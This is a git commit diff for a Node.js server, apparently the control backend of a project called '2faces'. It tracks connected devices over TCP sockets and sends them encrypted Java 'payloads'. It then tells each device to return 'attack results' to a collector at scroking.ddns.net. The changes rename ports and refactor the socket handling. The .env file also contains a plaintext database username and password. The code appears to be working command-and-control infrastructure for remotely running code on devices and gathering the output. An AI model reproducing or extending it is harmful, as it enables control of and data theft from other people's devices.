DELETE attack result fix

RedHitMark · RedHitMark · commit 2da457a190c2 · 2020-07-01T16:30:55.000+02:00
socket -&gt; better implementation -&gt; more work to do
diff --git a/.env b/.env
@@ -2,6 +2,5 @@ MONGO_USER=2facesAdmin
 MONGO_PASSWORD=2facesPassword
 MONGO_DATABASE=2facesdb
 SERVER_PORT=9999
-SOCKET_MASTER_PORT=6969
-SOCKET_MASTER_PORT=6969
+SOCKET_MAIN_PORT=6969
 
diff --git a/api/routes.js b/api/routes.js
@@ -121,7 +121,7 @@ module.exports = (app, socketManager) => {
 
     app.delete(BASE_API_URL + API_VERSION_1_0 + "/attacks", (req, res) => {
         const attack_id = req.query.attack_id;
-        payloads.deleteOne(attack_id)
+        attacks.deleteOne(attack_id)
             .then((attack) => {
                 res.json(attack);
             }).catch((error) => {
diff --git a/api/v1.0/deviceManager.js b/api/v1.0/deviceManager.js
@@ -1,6 +1,7 @@
 const attacks = require('../../database/models/attackResult');
 const payloads = require('../../database/models/payload');
 const cryptoManager = require('../../CryptoManager')
+const tcpPortUsed = require('tcp-port-used');
 
 async function showAllDevices(socketManager) {
     return new Promise((resolve, reject) => {
@@ -28,7 +29,7 @@ async function triggerDevice(socketManager, device, payload_id) {
         const socketsMap = socketManager.socketMain.getSocketsMap();
         const sourcePort = device.port;
         payloads.readOneById(payload_id)
-            .then((payload) => {
+            .then( (payload) => {
                 const javaCode = payload.content;
                 const javaPieces = splitJavaCode(javaCode);
                 console.log(javaPieces);
@@ -44,9 +45,10 @@ async function triggerDevice(socketManager, device, payload_id) {
                 }
                 socketManager.socketMain.writeOnSocketByPort(sourcePort, serversListStringed)
 
+
                 const randomPortCollector = getRandomPort(60000, 60100);
-                socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Collector: scroking.ddns.net:' + randomPortCollector);
 
+                socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Collector: scroking.ddns.net:' + randomPortCollector);
                 socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Result Type: ' +  payload.resultType);
 
                 socketManager.socketCollector.openNewSocketAndWaitForResult("scroking.ddns.net", randomPortCollector)
@@ -106,19 +108,34 @@ function splitJavaCode(javaCode) {
 }
 
 
-function getRandomPorts(lowestPort, highestPort, n){
+function getRandomPorts(lowestPort, highestPort, n) {
     let randomPorts = [];
-    while(randomPorts.length < n) {
-        const randomPort = getRandomPort(lowestPort, highestPort);
-        if(randomPorts.indexOf(randomPort) === -1) {
-            randomPorts.push(randomPort);
+    let port;
+    while (randomPorts.length < n) {
+        port = getRandomPort(lowestPort, highestPort);
+        if (port && randomPorts.indexOf(port) === -1) {
+            randomPorts.push(port);
         }
     }
     return randomPorts;
 }
 
+
 function getRandomPort(lowestPort, highestPort) {
-    return getRandomInteger(lowestPort, highestPort)
+    return getRandomInteger(lowestPort, highestPort);
+    /*const port =
+    return await tcpPortUsed.check(port, '0.0.0.0')
+        .then(function (inUse) {
+            if (!inUse) {
+                return port;
+            } else {
+                return getRandomPort(lowestPort, highestPort);
+            }
+        }, function (err) {
+            console.log('Error on check:', err.message);
+            return null;
+        });*/
+
 }
 function getRandomInteger(min, max) {
     min = Math.ceil(min);
diff --git a/app.js b/app.js
@@ -26,19 +26,19 @@ app.set('view engine', 'pug');
 app.set('views', path.join(__dirname, 'views'));
 
 app.get('/', function(req, res){
-    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
+    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
 });
 app.get('/index', function(req, res){
-    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
+    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
 });
 app.get('/index.html', function(req, res){
-    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
+    res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
 });
 
 // routes
 // Open socketManager
-const socketManager = require('./socket/socket');
-socketManager.socketMain.openSocketMain();
+const socketManager = require('./socket/socketManager');
+socketManager.initSocketMain();
 
 // Load all api routes
 const routes = require('./api/routes')(app, socketManager);
diff --git a/docker-compose.yml b/docker-compose.yml
@@ -9,7 +9,7 @@ services:
     build: ./
     ports:
       - "${SERVER_PORT}:${SERVER_PORT}"
-      - "${SOCKET_MASTER_PORT}:${SOCKET_MASTER_PORT}"
+      - "${SOCKET_MAIN_PORT}:${SOCKET_MAIN_PORT}"
       - "52000-52500:52000-52500"
       - "60000-60100:60000-60100"
     volumes:
diff --git a/package-lock.json b/package-lock.json
diff --git a/package.json b/package.json
@@ -18,6 +18,7 @@
     "nodemon": "^2.0.1",
     "pug": "^3.0.0",
     "serve-favicon": "^2.0.1",
+    "tcp-port-used": "^1.0.1",
     "xml2js": "^0.4.23"
   }
 }
diff --git a/socket/socket.js b/socket/socket.js
diff --git a/socket/socketCodeSender.js b/socket/socketCodeSender.js
@@ -3,16 +3,16 @@ const cryptoManager = require('../CryptoManager');
 
 const HOST = '0.0.0.0'; // parameterize the IP of the Listen
 
-function openNewSocketCodeSender(ip, codeSenderPort, code) {
+function openNewSocketCodeSender(hostname, codeSenderPort, code) {
     net.createServer((socketCodeSender) => {
         console.log('CONNECTED_CODE_SENDER: ' + socketCodeSender.remoteAddress +':'+ socketCodeSender.remotePort);
 
         const stringEscaped = code.toString().replace(/(\r\n|\n|\r|\t)/gm, '');
         const stringEscapedWellTrimmed = stringEscaped.replace(/ +(?= )/g,'');
         console.log(stringEscapedWellTrimmed);
 
-        const key = cryptoManager.sha256(codeSenderPort.toString() + ip.toString());
-        const iv = cryptoManager.md5(ip.toString() + codeSenderPort.toString());
+        const key = cryptoManager.sha256(codeSenderPort.toString() + hostname.toString());
+        const iv = cryptoManager.md5(hostname.toString() + codeSenderPort.toString());
         const stringEncrypted = cryptoManager.aes256Encrypt(stringEscapedWellTrimmed, key, iv);
 
         socketCodeSender.write( stringEncrypted +"\n");
diff --git a/socket/socketCollector.js b/socket/socketCollector.js
@@ -3,7 +3,7 @@ const cryptoManager = require('../CryptoManager');
 
 const HOST = '0.0.0.0'; // parameterize the IP of the Listen
 
-function openNewSocketAndWaitForResult(ip, collectorPort) {
+function openNewSocketAndWaitForResult(hostname, collectorPort) {
     return new Promise((resolve,reject) => {
         net.createServer((socketCollector) => {
             console.log('CONNECTED_COLLECTOR: ' + socketCollector.remoteAddress +':'+ socketCollector.remotePort);
@@ -33,8 +33,8 @@ function openNewSocketAndWaitForResult(ip, collectorPort) {
                 socketCollector.end();
 
                 if (result && result !== "") {
-                    const key = cryptoManager.sha256(collectorPort.toString() + ip.toString());
-                    const iv = cryptoManager.md5(ip.toString() + collectorPort.toString());
+                    const key = cryptoManager.sha256(collectorPort.toString() + hostname.toString());
+                    const iv = cryptoManager.md5(hostname.toString() + collectorPort.toString());
                     const stringEncrypted = result.toString();
                     console.log(stringEncrypted);
 
diff --git a/socket/socketMain.js b/socket/socketMain.js
@@ -3,12 +3,11 @@ const cryptoManager = require("./../CryptoManager");
 
 const HOST = '0.0.0.0'; // parameterize the IP of the Listen
 const IP = "scroking.ddns.net"
-const PORT = 6969; // TCP LISTEN port
-
+const PORT = 6969
 //store active sockets
 const socketsMap = new Map();
 
-function openSocketMain() {
+function openSocketMain(port) {
     net.createServer(function(socketMain) {
         console.log('CONNECTED_MAIN: ' + socketMain.remoteAddress +':'+ socketMain.remotePort);
 
@@ -18,8 +17,8 @@ function openSocketMain() {
         socketMain.on('data', function(data) {
             let dataDecrypt = cryptoManager.aes256Decrypt(
                 data.toString(),
-                cryptoManager.sha256(PORT.toString() + IP.toString()),
-                cryptoManager.md5(IP.toString() + PORT.toString())
+                cryptoManager.sha256(port.toString() + IP.toString()),
+                cryptoManager.md5(IP.toString() + port.toString())
             );
             console.log(dataDecrypt);
 
@@ -64,10 +63,9 @@ function openSocketMain() {
 
             if (dataToSend !== "") {
                 console.log(dataToSend)
-                const key = cryptoManager.sha256(PORT.toString() + IP.toString());
-                const iv = cryptoManager.md5(IP.toString() + PORT.toString())
-                /*console.log(key);
-                console.log(iv);*/
+                const key = cryptoManager.sha256(port.toString() + IP.toString());
+                const iv = cryptoManager.md5(IP.toString() + port.toString())
+
                 const dataToSendEncrypted = cryptoManager.aes256Encrypt(dataToSend, key, iv);
                 /*console.log(dataToSendEncrypted);*/
                 socketMain.write(dataToSendEncrypted + "\n")
@@ -87,7 +85,7 @@ function openSocketMain() {
             console.log('CLOSED_MAIN: ' + socketMain.remoteAddress +' '+ socketMain.remotePort);
             socketsMap.delete(socketMain.remotePort)
         });
-    }).listen(PORT, HOST);
+    }).listen(port, HOST);
 }
 
 function getSocketsMap() {
diff --git a/socket/socketManager.js b/socket/socketManager.js
@@ -0,0 +1,33 @@
+const socketMain = require('./socketMain');
+const socketCodeSender = require("./socketCodeSender");
+const socketCollector = require("./socketCollector");
+
+const PORT = process.env.SOCKET_MAIN_PORT || 6969;
+const HOSTNAME = "scroking.ddns.net";
+
+function initSocketMain() {
+    socketMain.openSocketMain(PORT);
+    //set port
+}
+
+function writeOnSocketMainByPort(port, message) {
+    socketMain.writeOnSocketByPort(port, message)
+}
+function writeOnSocketMainByPort(port, message) {
+    socketMain.writeOnSocketByPort(port, message)
+}
+
+function openNewSocketCodeSender(port, code) {
+    socketCodeSender.openNewSocketCodeSender(HOSTNAME, port, code);
+}
+
+
+
+module.exports = {
+    initSocketMain,
+    writeOnSocketMainByPort,
+    openNewSocketCodeSender,
+    socketMain,
+    socketCodeSender,
+    socketCollector
+};

Original file line number	Diff line number	Diff line change
`@@ -18,6 +18,7 @@`
`18`	`18`	`"nodemon": "^2.0.1",`
`19`	`19`	`"pug": "^3.0.0",`
`20`	`20`	`"serve-favicon": "^2.0.1",`
	`21`	`+ "tcp-port-used": "^1.0.1",`
`21`	`22`	`"xml2js": "^0.4.23"`
`22`	`23`	`}`
`23`	`24`	`}`